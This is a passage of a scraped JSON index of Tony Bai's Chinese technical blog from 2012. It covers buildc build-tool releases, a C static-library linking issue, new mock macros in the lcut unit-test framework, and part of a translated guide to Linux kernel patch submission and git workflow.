C后台应用一般都需要链接的C运行库和*nix系统库，惯例优于配置，直接写死在代码中。\n但实际运用时发现，custom_libs如果既配置C运行库或*nix系统库依赖库，又配置一些项目内部实现的库，会存在静态共享库依赖顺序问题，另外custom_libs与external_libs之间也会因此而存在库链接顺序之问题。而default_libs目前为空，因为很难找到各个项目的一般依赖。\n于是这次我对这个设计进行了一些修正，增加了SYSTEM_LIBS，并进一步明确了这些lib配置的含义，依顺序如下：\n* custom_libs – 一般配置项目自实现、自用的库，可能包含在项目源码库内部，与项目源码库一并发布；\n* external_libs – 一般配置第三方库或组织内部的公共库；\n* system_libs – 用来替代default_libs，配置项目需要的C运行时库或*nix系统库，放在所有库的最后面。\ndefault_libs似乎没有太大必要了，后续也许会从代码中remove出去。\n3、增加cache upgrade\n通过实践发现，目前buildc提供的对本地缓存的Library的管理手段还有欠缺，特别是当.buildc.rc发生变更时，需要执行buildc cache remove和buildc cache init才能正确完成更新，稍显繁琐，因此今天给buildc增加了一个cache upgrade命令，用于改善这个情况。而buildc cache update一般仅用于.buildc.rc的库配置没有改变，但subversion库中的库二进制文件被更新(比如重新制作了)的情况。这样看来还是.buildc.rc变更的情况常见些，比如某个库的版本升级了(例如，lcut从0.2.0升级为0.3.0)，或某个库的位置发生了变化，或删减了某些库或新增了某些库等等。\n","permalink":"https://tonybai.com/2012/04/13/buildc-0-1-5-release/","summary":"\u003cp\u003e这两天对\u003ca href=\"http://code.google.com/p/buildc\"\u003ebuildc\u003c/a\u003e的改动比较频繁，今天又修正了一些问题，也增加了一些小功能。主要包括这么几点：\u003c/p\u003e\n\u003cp\u003e1、在Make.rules.in中增加了STATIC_LIBS和DYNAMIC_LIBS\u003c/p\u003e\n\u003cp\u003e项目源代码和项目中\u003ca href=\"http://tonybai.com/2010/09/30/opensource-a-lightweight-c-unit-test-framework/\"\u003e单元测试\u003c/a\u003e代码使用同一个Make.rules，也此编译时也就共享同一个LIBS变量。对于静态\u003ca href=\"http://tonybai.com/2010/12/13/also-talk-about-shared-library/\"\u003e共享库\u003c/a\u003e还好说，但对于动态共享库，诸如Oracle的instantclient库，单元测试代码中即使没有使用到动态共享库中的接口，也要对该动态共享库产生一个依赖。这样在执行单元测试用例时就会因无法寻得动态共享库而导致用例执行失败。\u003c/p\u003e\n\u003cp\u003e为此，我在Make.rules.in中增加了STATIC_LIBS和DYNAMIC_LIBS两个变量，即将原LIBS变量中的静态共享库和动态共享库分开，分别放入STATIC_LIBS和DYNAMIC_LIBS中。然后让项目中单元测试代码的编译只依赖STATIC_LIBS，上述问题就得到了解决(如果你的单元测试真实需要链接动态共享库，那就另当别论了)。\u003c/p\u003e","title":"buildc 0.1.5版本发布"},{"content":"年后buildc开始逐渐在产品线的项目里应用了，随之而来的是大家反馈的各种意见和bug。尤其是bug，我都会很认真地应对，也会及时发布相应的版本修复这些bug。buildc 0.1.4版本就是一个bugfix版本，其修复的bug源于今天上午的一次持续集成的失败。\n上午收到Jenkins发送的一个\u0026quot;build failed\u0026quot;的mail，一个安装包项目的CI job执行失败了，于是到Jenkins web页面上检查错误原因。这个Job会在两个slave node上执行集成，一个在x86 linux上，一个在x86 solaris上。这次失败是因为x86 linux上的一个配置问题导致的，页面显示x86 solaris那个节点的集成是成功的。我无意间查看了x86 solaris节点集成过程的命令行输出，发现如下内容：\nConfig Make.rules OK!\nFailed to execute cmd [make CMODE=64-bit], errno = [512]\nFinished: SUCCESS\n显然，构建脚本并未真正成功，但Jenkins却认为这次集成是OK的，这是怎么回事呢？难道是Jenkins有问题？为了弄清原因，我登到那个Solaris节点上，进入到Jenkins slave工作目录下的workspace中，在对应的Job目录下，手工执行了集成脚本，执行结束后，通过\u0026quot;echo $?\u0026ldquo;查看命令的返回值，居然是\u0026quot;0\u0026rdquo;，也就是说执行结果是成功的，这怎么可能？明明代码中输出是\u0026quot;errno= [512]\u0026quot;。\n为了验证问题，我编写了一个测试程序以验证代码执行是否正确：\n# testerrno.py\n#! /usr/bin/env python\nimport commands\nimport sys\ndef execute(cmd):\no = commands.getstatusoutput(cmd)\nif o[0] != 0:\nprint \u0026ldquo;Failed to execute cmd [%s], errno = [%d]” % (cmd, o[0])\nsys.exit(o[0])\nreturn o\nif __name__ == \u0026lsquo;__main__\u0026rsquo;:\nexecute(\u0026rsquo;ls -l foo')\n由于当前目录下并未有foo文件，因此预期testerrno.py的执行结果应该是失败的，执行过程如下：\n$\u0026gt; testerrno.py\nFailed to execute cmd [ls -l foo], errno = [512]\n$\u0026gt; echo $?\n0\n从结果中可以看到，居然执行结果返回的真的是0。我将上述代码中的sys.exit(o[0])直接改为了sys.exit(512)，我要看看究竟是怎么回事，结果执行结果又出乎我的意料：\n$\u0026gt; testerrno.py\nFailed to execute cmd [ls -l foo], errno = [512]\n$\u0026gt; echo $?\n0\n居然还是0。突然脑海中冒出一个思路：难道是Shell不支持512这么大的errno？于是将512改为23，再试：\n$\u0026gt; testerrno.py\nFailed to execute cmd [ls -l foo], errno = [512]\n$\u0026gt; echo $?\n23\n执行后得到的结果为：23。看来我的思路是正确的，那Shell支持的最大errno值究竟是多少呢？经验告诉我很可能是255。于是乎我又分别将返回值硬编码为255和256并执行之，结果当返回值为255时，echo $?的输出为255；当返回值为256时，echo $?的返回值居然变成了0，看来就是这个问题了。关于为何Python获取到的ls -l foo的执行结果为512(commands.getstatusoutput的返回结果)，我没有深究，但如果手工在命令行上执行\u0026rsquo;ls -l foo\u0026rsquo;，得到的返回值实际上是2，而不是512。另外我的Shell版本为：GNU bash, version 3.00.16。\n如何修复buildc的这个问题呢？我的方法是让command.execute在执行命令出错时返回同一个指定的错误码，目前为errors.py中shell_cmd_exec_failed值。但command.execute会打印commands.getstatusoutput返回结果中的真实错误码值，两不耽误。\n","permalink":"https://tonybai.com/2012/04/12/buildc-0-1-4-release/","summary":"\u003cp\u003e年后\u003ca href=\"http://tonybai.com/2011/12/08/buildc-a-building-assistant-tool-for-c-app/\"\u003ebuildc\u003c/a\u003e开始逐渐在产品线的项目里应用了，随之而来的是大家反馈的各种意见和bug。尤其是bug，我都会很认真地应对，也会及时发布相应的版本修复这些bug。\u003ca href=\"http://code.google.com/p/buildc\"\u003ebuildc 0.1.4\u003c/a\u003e版本就是一个bugfix版本，其修复的bug源于今天上午的一次\u003ca href=\"http://tonybai.com/2012/02/14/install-and-configure-jenkins/\"\u003e持续集成\u003c/a\u003e的失败。\u003c/p\u003e\n\u003cp\u003e上午收到\u003ca href=\"http://tonybai.com/2012/02/14/install-and-configure-jenkins/\"\u003eJenkins\u003c/a\u003e发送的一个\u0026quot;build failed\u0026quot;的mail，一个\u003ca href=\"http://tonybai.com/2012/02/10/add-packing-feature-to-buildc/\"\u003e安装包项目\u003c/a\u003e的\u003ca href=\"http://en.wikipedia.org/wiki/Continuous_integration\"\u003eCI\u003c/a\u003e job执行失败了，于是到Jenkins web页面上检查错误原因。这个Job会在两个slave node上执行集成，一个在x86 linux上，一个在x86 solaris上。这次失败是因为x86 linux上的一个配置问题导致的，页面显示x86 solaris那个节点的集成是成功的。我无意间查看了x86 solaris节点集成过程的命令行输出，发现如下内容：\u003c/p\u003e","title":"buildc 0.1.4版本发布"},{"content":"印象中关于编译以及链接的问题早已是老生常谈了。但今天又遇到了一个这样的问题，这里还总想提及一下下^_^。\n这次要说的问题依旧发生在使用lcut进行单元测试的过程中。一位同事在编译使用了mock函数的测试用例代码时出现了\u0026quot;multiple definition of \u0026lsquo;xxx\u0026rsquo;“的错误。这里简单模拟其场景如下：\n/* testall.c */\n/* mock lib function */\nint lib_function(…) {\n…\nreturn (int)LCUT_MOCK_RETV();\n}\nint function_to_be_tested(…) {\n…\nret = lib_function(…);\n…\n}\nvoid test_case(lcut_tc_t *tc, void *data) {\nret = function_to_be_tested(…);\nLCUT_INT_EQUAL(tc, 0, ret);\n}\nlib_function是静态共享库中的一个接口，但这里被mock了。不过由于一些其他test_case使用了静态共享库(.a)的其他接口，因此在编译时程序链接了这个静态共享库。但结果编译器却报错：lib_function被多重定义了。\n经过各种排查(编译器命令行中的目标文件与库链接顺序是否正确等)，我们发现编译器报错的原因居然是忘记mock几个与lib_function同属一库模块(xx.o)的接口。\n这里就不拐弯抹角了。由于漏掉了一些本该mock的接口，因此程序在编译testall.c时有许多unresolved的符号需要到静态共享库中去查找。这里又涉及到了符号resolve的过程，而更为重要的一点是要弄清楚编译器是如何对待静态共享库中那个拥有testall.o中未resolved的符号的库模块的(一个静态库.a文件实际上是由诸多库模块.o文件组合而成的)。我们来看看下面例子。\n一个libcommon.a的组成如下：\nlibcommon.a\n– foo.o\n– function: foo1\n– function: foo2\n– bar.o\n– function: bar1\n– function: bar2\n我们来看一下一个调用了foo1函数且链接了libcommon.a的可执行文件(a.out，对应的源文件main.c)中都有哪些已定义的符号：\n$ nm a.out\n…\n080483d4 T foo1\n080483b4 T main\n080483e2 T foo2\n…\n通过nm输出的结果可以看到，最终的可执行程序中居然包含了程序并未调用的函数foo2的定义。似乎一切都清晰了：编译器在libcommon.a的foo.o中找到了unresolved的符号foo1，但编译器并非只是将foo1的定义放入最终的可执行文件中，而是将foo.o从libcommon.a中取出，并将其与main.o放在一处同等对待，编译器会扫描foo.o中所有的符号，并确保其中的符号都是具有定义的，这样才能保证最终的可执行程序中所有的符号都是具有定义的。\n现在我们可以回过头来回答本文开始处所遇到的那个\u0026quot;多重定义\u0026quot;的问题了。因为testall.c中存在未resolved的符号，即那些被漏掉的未mock的库接口，因此编译器找到了静态共享库中定义了这些库接口的库模块(某个.o文件)，但编译器并非只是处理这些符号，和上面的例子一样，编译器还会扫描这个库模块文件中的所有符号以确保所有符号都有定义。而就在这个过程中编译器发现了其中有的符号(比如lib_function)的定义与testall.c中mock的同名接口(lib_function)定义相冲突，从而才作出了错误提示。\n之前写过一篇文章《从mock malloc说起》，其中有关于编译过程中符号resolve的详细说明，有兴趣的朋友不妨看看。\n","permalink":"https://tonybai.com/2012/04/11/multiple-definitions-of-the-compiling-phase/","summary":"\u003cp\u003e印象中关于编译以及链接的问题早已是老生常谈了。但今天又遇到了一个这样的问题，这里还总想提及一下下^_^。\u003c/p\u003e\n\u003cp\u003e这次要说的问题依旧发生在使用\u003ca href=\"http://code.google.com/p/lcut\"\u003elcut\u003c/a\u003e进行\u003ca href=\"http://tonybai.com/2010/09/30/opensource-a-lightweight-c-unit-test-framework/\"\u003e单元测试\u003c/a\u003e的过程中。一位同事在编译使用了\u003ca href=\"http://tonybai.com/2010/10/29/lcut-add-mock-support/\"\u003emock\u003c/a\u003e函数的测试用例代码时出现了\u0026quot;multiple definition of \u0026lsquo;xxx\u0026rsquo;“的错误。这里简单模拟其场景如下：\u003c/p\u003e","title":"关于编译阶段符号多重定义的问题"},{"content":"lcut单元测试框架在我的项目中应用已经有一段时间了，项目组的同事对lcut的使用也是越来越熟悉，这不今天一位同事还提出了一个新需求，需求大致是这样的。\n在实际项目中，经常遇到这类情况：\nint bar(…) {\nint ret;\nret = foo(…);\n/* assert ret */\n…\nret = foo(…);\n/* assert ret */\n…\nret = foo(…);\n/* assert ret */\n…\n}\n上述代码中被测函数接口bar的实现中多次调用了某函数foo。这样当我们用mock方式测试bar这个函数时，可能需要多次重复设置foo的返回值以及输出函数的值，就像这样：\nvoid tc_test_bar_return_ok(lcut_tc_t *tc, void *data) {\nLCUT_RETV_RETURN(foo, 0);\nLCUT_RETV_RETURN(foo, 0);\nLCUT_RETV_RETURN(foo, 0);\nLCUT_ARG_RETURN(foo, 1);\nLCUT_ARG_RETURN(foo, 1);\nLCUT_ARG_RETURN(foo, 1);\nLCUT_INT_EQUAL(tc, 0, bar(…));\n…\n}\n我的同事希望lcut能提供一个接口：支持一次调用，设置多次mock obj的返回值或输出参数，使用这样的接口后，上述代码就可以简化为：\nvoid tc_test_bar_return_ok(lcut_tc_t *tc, void *data) {\nLCUT_RETV_RETURN_COUNT(foo, 0, 3);\nLCUT_ARG_RETURN_COUNT(foo, 1, 3);\nLCUT_INT_EQUAL(tc, 0, bar(…));\n}\n这个需求提的非常好，看起来更像是一种语法糖(syntactic sugar)，用于简化代码编写。于是乎下午我就为lcut增加了两个有用的宏：LCUT_RETV_RETURN_COUNT和LCUT_ARG_RETURN_COUNT。\n正如上面所说，这两个宏可在一次调用中多次设置某个mock obj的返回值和输出参数值，两个宏的原型如下：\n#define LCUT_RETV_RETURN_COUNT(fcname, value, count) do { \\\nlcut_mock_obj_return(#fcname, (void*)value, __FUNCTION__, __LINE__, __FILE__, MOCK_RETV, count); \\\n} while(0);\n#define LCUT_ARG_RETURN_COUNT(fcname, value, count) do { \\\nlcut_mock_obj_return(#fcname, (void*)value, __FUNCTION__, __LINE__, __FILE__, MOCK_ARG, count); \\\n} while(0);\n只是比之前提供的LCUT_RETV_RETURN和LCUT_ARG_RETURN多了一个宏参数count。count用于指出对mocked obj进行多少次返回值或输出参数的设置。\n另外当count传入-1时，其语义为无论mocked object被使用多少次，其返回值或输出参数值都是一样的，即使用LCUT_RETV_RETURN_COUNT或LCUT_ARG_RETURN_COUNT时设置的那个值，直到下一次调用这两个宏进行重新设置时，值才会发生变化。例如上面的例子我们也可以改写为：\nvoid tc_test_bar_return_ok(lcut_tc_t *tc, void *data) {\nLCUT_RETV_RETURN_COUNT(foo, 0, -1);\nLCUT_ARG_RETURN_COUNT(foo, 1, -1);\nLCUT_INT_EQUAL(tc, 0, bar(…));\n}\n这样无论后续再调用多少次bar函数，foo的返回值总是0，输出参数也总是1。\n增加了这两个宏后，lcut的版本号也小升了一位，最新版本是lcut-0.3.0-rc1，其中还增加了一个针对lcut mock功能的example – mock_test.c。同时Google Code上的lcut guide也做了更新，对新增的宏的用法进行了简要说明。\n就这样，lcut 0.3.0版本算是发布了，后续还会经过内部的细致测试，如果没有什么问题，就会去掉rc。\n","permalink":"https://tonybai.com/2012/04/10/lcut-0-3-0-release/","summary":"\u003cp\u003e\u003ca href=\"http://code.google.com/p/lcut\"\u003elcut\u003c/a\u003e单元测试框架在我的项目中应用已经有一段时间了，项目组的同事对\u003ca href=\"http://tonybai.com/2010/09/30/opensource-a-lightweight-c-unit-test-framework/\"\u003elcut\u003c/a\u003e的使用也是越来越熟悉，这不今天一位同事还提出了一个新需求，需求大致是这样的。\u003c/p\u003e\n\u003cp\u003e在实际项目中，经常遇到这类情况：\u003c/p\u003e\n\u003cp\u003eint bar(…) {\u003c/p\u003e\n\u003cp\u003eint ret;\u003c/p\u003e\n\u003cp\u003eret = foo(…);\u003c/p\u003e\n\u003cp\u003e/* assert ret */\u003c/p\u003e\n\u003cp\u003e…\u003c/p\u003e\n\u003cp\u003eret = foo(…);\u003c/p\u003e\n\u003cp\u003e/* assert ret */\u003c/p\u003e\n\u003cp\u003e…\u003c/p\u003e\n\u003cp\u003eret = foo(…);\u003c/p\u003e\n\u003cp\u003e/* assert ret */\u003c/p\u003e\n\u003cp\u003e…\u003c/p\u003e\n\u003cp\u003e}\u003c/p\u003e\n\u003cp\u003e上述代码中被测函数接口bar的实现中多次调用了某函数foo。这样当我们用\u003ca href=\"http://tonybai.com/2010/10/29/lcut-add-mock-support/\"\u003emock\u003c/a\u003e方式测试bar这个函数时，可能需要多次重复设置foo的返回值以及输出函数的值，就像这样：\u003c/p\u003e","title":"lcut 0.3.0版本发布"},{"content":"本文翻译自The Linux Foundation的《How to Participate in the Linux Community》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(corbet@lwn.net)。 下面是该文章第七章、第八章以及第九章节的中译文。\n7、高级主题\n但愿此时此刻，你已经理解了内核开发过程是如何进行的。但仍然还有很多东西要学习！这一节将涵盖几个主题，这些主题对于那些致力于成为Linux 内核开发过程中固定一员的开发者来说是很有帮助的。\n7.1、使用Git管理补丁\n早在2002年，内核就开始使用分布式版本管理工具了，当时Linus首先使用的是一款名为BitKeeper的专有(proprietary) 应用。虽然BitKeeper是有争议的，但它所代表的软件版本管理方法几乎是没有任何争议的。分布式版本控制使得内核开发项目的开发效率获得了加速地提升。如今，有很多种可以替代BitKeeper的工具。不管结果如何，内核项目已经决定了将git作为其版本管理工具的选择。\n使用git管理补丁可以使开发者的工作更加轻松，特别是当补丁的数量越来越多的情况下。Git也有其不完善的地方并且可能产生某种危险；它是一个年轻而强大的工具，目前其开发者仍然在对其进行改进。本文不会尝试教授读者们如何使用git；其自带的长文档提供了足够的资料。相反，这里着重关注git是如何融入到内核开发过程中去的。那些期望快速学会使用git的开发者可以在下面网址中找到更多信息：\nhttp://git-scm.com/\nhttp://www.kernel.org/pub/software/scm/git/docs/user-manual.html\n并且可以在互联网上找到各种不同的教程。\n第一件事就是阅读上述站点所提供的内容，在尝试使用git制作补丁之前充分理解git的工作原理。一个使用git的开发者应该能够从内核主线库获得代码拷贝、查看修改历史记录、向代码树提交改变以及使用分支等。对git重写历史的工具(例如rebase)的理解也是很有用的。Git尤其自己的术语与概念；一个git的新用户应该知道引用(refs)、远程分支(remote branches)、暂存区(index，译注：现在更多称之为stage)、快进合并(fast-forward merge)、推(push)和拉(pull)以及detached heads等。一开始这些可能会让人感到有些望而生畏，但通过一点点学习这些概念掌握起来也不是那么难。\n使用git生成通过email提交的补丁是一种用来加快git学习速度的非常好的练习。\n如果你准备创建一个供其他人查看的git源码树，你自然会需要一个服务器，其他人可以从该服务器上拉(pull)代码。如果你拥有一个可以访问互联网的系统，使用git-daemon搭建这个服务器将会相对简单一些。否则，一些出现在互联网上的免费的公共托管站点(例如，Github)可供使用。已被社区认可的开发者可以从kernel.org获得一个帐户，但这些可是来之不易的；更多内容请参见http://kernel.org/faq/ 。\n正常的git工作流程涉及到许多分支使用。每行代码都可能被分离到一个独立的\u0026quot;主题分支\u0026quot;中并且独立维护。在Git中使用分支的代价非常小，我们没有理由不自由使用它们。并且，无论如何你都不应该在一个你想要其他人从中拉取(pull)代码的分支上进行开发。对公众开放的分支应该谨慎创建；只有当开发分支上的代码完成并具备发布条件时再将代码合并到补丁中，不要在完成之前就合并。\nGit提供了一些功能强大的工具，它们可以让你重写开发历史。一个令人为难的补丁(可能是破坏了bisection的补丁，又或是有其他明显bug的补丁)可能在适当地方被修复或整体从开发历史中消失。一个补丁序列可以被重写，重写后就好似今天主线上最新的修改似的，即便你已经在这个补丁序列上工作几个月了。改变可以透明地从一个分支转移到另一个分支，等等。明智地的使用git所提供的能力对代码库历史进行修订可以有助于创建出问题更少的整洁的补丁集合。\n然而，除了着迷于创建一个完美的项目历史之外，过度地使用git提供的能力可能会导致其他问题。重写历史将重写历史所对应的改变，将一个测试过(希望是)的内核树转化为一个未测试过的内核。但是，除此之外，如果没有有关项目历史的共享视图，开发者间的合作将不会那么容易；如果你重写了一段代码历史，并且其他开发者已经将这段代码拉入其个人代码库，你会让这些开发者的工作变得更为困难。因此，这里可以应用一条简单的经验法则：已经被导出到其他库中的历史记录此后一般应被视作不可改变的。\n这样，一旦你向你的公共代码库服务器推送了一组变更，这些变更就不应该被重写了。如果你尝试推送无法进行快进合并(例如，那些没有共享同一变更历史的改变)的变更，Git会试图强制执行这条规则。对这种检查进行重写是可能的，并且有时重写一个导出源码树可能是必须的。在linux-next中通过在树间移动变更集(changesets)来避免冲突就是一个例子。不过这种行为应该是不常发生的。这也是开发工作要在私有分支上(必要时可以进行历史重写)完成并只是在其处于开发后期时才移到公共分支的原因之一。\n随着主线版本(或即将到来的其他基于一组变更的源码树)的推进，人们总愿意合并那些树以保持走在开发的最前沿。对于一个私有分支来说，换基(rebasing)可以作为一种跟上另外一棵源码树开发进度的简单方法，但一旦源码树已经对外发布，换基这种方法就不再适合。一旦如此，就必须进行全量合并(full merge)。偶尔的合并很有意义，但过于频繁的合并可能会导致修订历史不必要得混乱。针对这种情况的建议是不要频繁地合并，通常只在特定发布点(例如，一个主线的-rc版本发布时)进行合并操作。如果你对特定的变更感到紧张不安，那么你可以一直在私有分支上进行测试合并。git的\u0026quot;rerere\u0026quot;工具在这种情况下十分有用；它会记住合并时的冲突是如何被解决的，这样你就无需再做一遍这个工作了。\n关于类似git这样的工具的一个最大的抱怨是：补丁从一棵树到另一棵树的大量的迁移使得许多欠考虑的变更很容易通过评审雷达的盲区而进入内核主线。当内核开发者看到这种事情发生时都会十分不满；搭建一棵包含了未评审或离题补丁的源码树很可能会对以后你的源码树被内核主线合并的资格产生影响。这里引述Linus的一段话：\n你可以给我发送补丁，不过对我来说是从你那里拉出一个git补丁。我需要知道你十分清楚你自己正在做什么，并且我需要有能力在无需手工逐个检查每个变更的情况下信任你所做的这些工作。(http://lwn.net/Articles/224135/).\n为了避免这类情况，请确保一个特定分支里面的所有补丁都紧扣相关主题；一个\u0026quot;驱动程序修复\u0026quot;分支不应该对核心内存管理代码进行修改。并且，更为重要的是，不要使用git树绕过评审过程。不时地将源码树的概要发到相关的邮件列表中，并且当时机合适时，请求将你的源码树中的变更包含到linux-next中。\n如果当其他人开始向你的源码树发送补丁时，不要忘记评审这些补丁代码。同时，也要保证你维护着正确的作者身份信息；在这方面git的\u0026quot;am\u0026quot;工具做得最好，不过对于那些通过第三方转发给你的补丁，你需要为补丁增加一个\u0026quot;From:\u0026ldquo;行。\n当提出\u0026quot;拉出\u0026quot;请求时，请确保提供了所有相关信息：你的源码树的位置，从哪个分支拉出，以及此次拉出将导致哪些改变。在这方面，git的\u0026quot;request-pull\u0026quot;命令很有帮助；这个命令会将请求按照其他开发者所期望的那样进行格式化，并且还会执行检查以确保你记得已经将那些改变提交到公共代码树服务器上了。\n7.2、评审补丁\n很多读者肯定会反对将本章标题命名为\u0026quot;高级主题\u0026rdquo;，因为即便是刚入门的内核开发者也应当评审补丁。的确，没有比审查其他人发布的代码更好的方式去学习在内核环境下如何编程了。此外，评审者永远供不应求；通过审查代码，你可以对整个开发过程作出重要的贡献。\n评审代码可能是一件令人胆怯的事情，特别是对于内核开发新手们，他们对于那些经验丰富的开发者所公开提出的代码质疑很可能会感到紧张不安。不过，即使是经验最为丰富的开发者所编写到的代码也可能有改进的余地。也许对评审者(所有评审者)最好的建议是：用询问而不是批评来表达评审意见。问\u0026quot;在这条路径上这个锁是如何被释放的？\u0026ldquo;总是会比\u0026quot;这里的锁用错了\u0026quot;收到更好的效果。\n不同的开发者会从不同的角度去评审代码。一些人主要关注代码风格以及是否代码行伴有结尾空白。其他人会主要关注这个补丁所实现的改变对与内核整体来说是好事还是坏事。然而，还有其他一些人将检查有问题的锁、过度使用栈、潜在的安全问题、在其他地方发现重复代码、是否有充足的文档、对内核性能的不利影响、用户空间ABI变化等。如果能够促使更好的代码进入内核，那么所有类型的评审都是受欢迎的并且是值得花时间做的。\n8、更多信息\nLinux内核开发以及相关主题的信息来源有很多。这里面首当其冲的应该是可以在发布的内核源码包中找到的Documentation目录。顶层的HOWTO文件是一个重要的起点；SubmittingPatches和SubmittingDrivers同样是所有内核开发者都应该阅读的重要文档。许多内核内部API都使用kerneldoc机制进行了文档化；\u0026ldquo;make htmldocs\u0026quot;或\u0026quot;make pdfdocs\u0026quot;可用于生成HTML或PDF格式(但很多Linux发行版中包含的TeX版本运行时遇到内部限制，因此也无法正确地处理这里的文档)的内核文档。\n各种讨论内核开发细节的网络站点。作者这里将http://lwn.net作为一个内核开发信息来源推荐给大家；许多关于特定内核主题的信息都可以通过LWN内核索引找到：\nhttp://lwn.net/Kernel/Index/\n除此之外，一个对内核开发者有价值的资源是：\nhttp://kernelnewbies.org/\n有关linux-next源码树的资料汇集在：\nhttp://linux.f-seidel.de/linux-next/pmwiki/\n当然，大家不应该忘记http://kernel.org，这里可是内核发布版本信息的最终位置。\n下面是一些关于内核开发的书籍：\n* Linux Device Drivers(译注：其中译版为《Linux设备驱动程序》), 3rd Edition (Jonathan Corbet, Alessandro Rubini, and Greg Kroah-Hartman). 在线版本在http://lwn.net/Kernel/LDD3/。\n* Linux Kernel Development (Robert Love)(译注：其中译版为《Linux内核设计与实现》)。\n* Understanding the Linux Kernel (Danial Bovet and Marco Cesati)(译注：其中译版为《深入理解Linux内核》)。\n但所有这些书籍都有一个共同的不足：在它们上架时往往有些过时，并且它们上架已经有一段时间了。不过，在这些书中我们仍然可以找到很多有价值的资料。\nGit的文档可以在下面网址上找到：\nhttp://www.kernel.org/pub/software/scm/git/docs/\nhttp://www.kernel.org/pub/software/scm/git/docs/user-manual.html\n9、结论\n恭喜每一个读完这篇冗长文档的人。希望本文可以为你对Linux内核的开发过程以及如何加入此过程的理解提供有用的帮助。\n最后，最重要的是参与。任何开源软件项目只不过是其所有贡献者所做事情的总和。Linux内核项目进展如此迅速，质量如此之好，都是因为有数量可观的开发者的帮助，他们的工作都是为了创建一个更好的内核。Linux内核就是一个由成千上万人为了一个共同的目标而一起奋斗而完成的一个最好的例子。\n虽然内核项目总是能受益于一个更为庞大的开发者基础，但那里也总是有更多的工作要去做。但同样重要的是，在Linux生态系统中的其他大多数参与者也能从对内核的贡献中受益。让代码进入主线是更高代码质量、更低的维护和发行成本、对内核开发方向的更高层次的影响以及更多其他事情的关键。这是一个所有参与者共赢的局面。发动你的编辑器并加入我们吧；你会受到热烈欢迎。\n(全文翻译结束)\n","permalink":"https://tonybai.com/2012/04/09/how-to-participate-linux-community-section-7/","summary":"\u003cp\u003e本文翻译自The Linux Foundation的《\u003ca href=\"http://www.linuxfoundation.org/content/how-participate-linux-community-0\"\u003eHow to Participate in the Linux Community\u003c/a\u003e》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(\u003ca href=\"mailto:corbet@lwn.net\"\u003ecorbet@lwn.net\u003c/a\u003e)。 下面是该文章第七章、第八章以及第九章节的中译文。\u003c/p\u003e","title":"如何加入Linux内核开发社区(7)"},{"content":"本文翻译自The Linux Foundation的《How to Participate in the Linux Community》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(corbet@lwn.net)。 下面是该文章第五章节的中译文。\n5、发布补丁\n迟早有一天你的工作将提交到开发社区进行评审，并最终合入内核主线。不出所料，内核开发社区在发布补丁方面已经逐步形成了一套约定和程序；遵循这 些约定和程序将使得开发者们的工作变得更加轻松。本文将尝试适当详尽地对这方面的内容进行说明；更多内容可以参考内核文档目录下的 SubmittingPatches、SubmittingDrivers和SubmitChecklist文档。\n5.1、何时发布\n一直存在这样一种诱惑：在补丁完全\u0026quot;具备条件\u0026quot;之前不要发布补丁。对于简单的补丁，这不是问题。但如果补丁的工作比较复杂，则在补丁完成前，很多事情需要从开发社区获取的反馈中得到。因此你应该考虑将正在进行中的工作发布给社区，或者甚至可以提供一个可用的git源码树，让那些对你的补丁感兴趣的开发者随时了解到你的工作进展。\n当发布一些尚不具备被合入内核条件的代码时，最好在发布时如实告知社区。同时要说明还有哪些主要工作尚待去做以及所有已知的问题。与已完成的补丁相比，那些已知尚未完成的补丁获得的青睐更少，但那些确实提出想法的人能够帮助你始终工作在正确的方向上。\n5.2、在补丁创建之前\n在你考虑将补丁发布到开发社区之前，有一些事情是需要预先做的，这些事情包括：\n* 尽你所能的对补丁代码进行测试。充分利用内核调试工具，确保内核可以在所有合理的配置选项组合下编译，使用跨平台编译器进行不同体系的构建，等等。\n* 确保你的代码与内核编码风格准则兼容。\n* 你的变化会对内核性能有影响吗？如果有的话，你应该运行基准测试来看看你的改变对内核的具体影响(或带来的好处)；补丁中应该包含这个测试结果的总结。\n* 确保你有权发布这个补丁代码。如果代码是为某个雇佣者开发的，雇佣者很可能才是这段代码的真正拥有者，那么雇佣者必须同意补丁在GPL许可证下发布。\n一般来说，在发布代码之前多做一些考虑总是会在短时间内让你的付出收到回报的。\n5.3、补丁准备\n补丁发布准备的工作量可能十分巨大，不过，再重申一遍，即便是短期内尝试在这个阶段节省时间通常也是不可取的。\n补丁必须是为某一个特定的内核版本而准备的。通常，补丁应该基于linus的git树中的当前主线版本。但为了能让补丁得到更为广泛的测试和评审，制作针对-mm、linux-next或某个子系统树的补丁版本可能会变得很必要。针对其他源码树的补丁可能需要大量工作来解决代码冲突以及处理API的改变，这取决于你的补丁所在的领域以及其他方面的当前进展情况。\n只有最简单的改变才应该以一个单独的补丁形式提供；其他所有补丁都应该由一系列合理的改变组成。拆分补丁是一门艺术；一些开发者花费很长时间考虑如何以一种开发社区期望的方式进行补丁拆分。下面是一些经验法则，但却相当有帮助：\n* 你发布的补丁序列决不应该仅仅是你的版本控制系统下的一系列改变。相反，你应该考虑这些改变的最终形式，将他们分成有意义的若干部分。开发者只对离散的、自完备的改变感兴趣，而不是你提供的这些改变的路径信息。\n* 每个逻辑上独立的改变都应该以一个单独的补丁提供。这些改变可小(\u0026ldquo;为这个结构体增加一个字段\u0026rdquo;)可大(例如，增加一个重要的新驱动程序)，但它们都应该是小概念的并且可用一行文字描述的。每个补丁所带来的改变都应该可以被独立评审和独立验证的。\n* 这里再次重申一下上面的准则：不要将不同类型的改变混在一个补丁中。如果一个单独的补丁修复了一个极其重要的安全bug、重新调整了一些结构体并且重新对代码进行了格式化，那么这个补丁很有可能被置之不理，这个重要的修复也将会丢失。\n* 每个补丁都应该生产出一个可以正确编译和运行的内核；即使你的补丁序列在中间被打断，结果仍然应该是一个可工作的内核。部分应用一个补丁序列是一种常见的情况，尤其是当\u0026quot;git bisect\u0026quot;工具被用于查找regression时；如果补丁序列被打断的结果是一个损坏的内核，则会导致那些参与追查内核问题的开发者和用户的工作更加困难。\n* 但也不要做的太过分。最近一个开发者将一个文件的多处修改放在500个补丁中发布 — 这一行为并没有使他成为内核邮件列表上最受欢迎的人。只要仍然包含一个单一的*逻辑*改变，一个单一的补丁也可以适当地大些。\n* 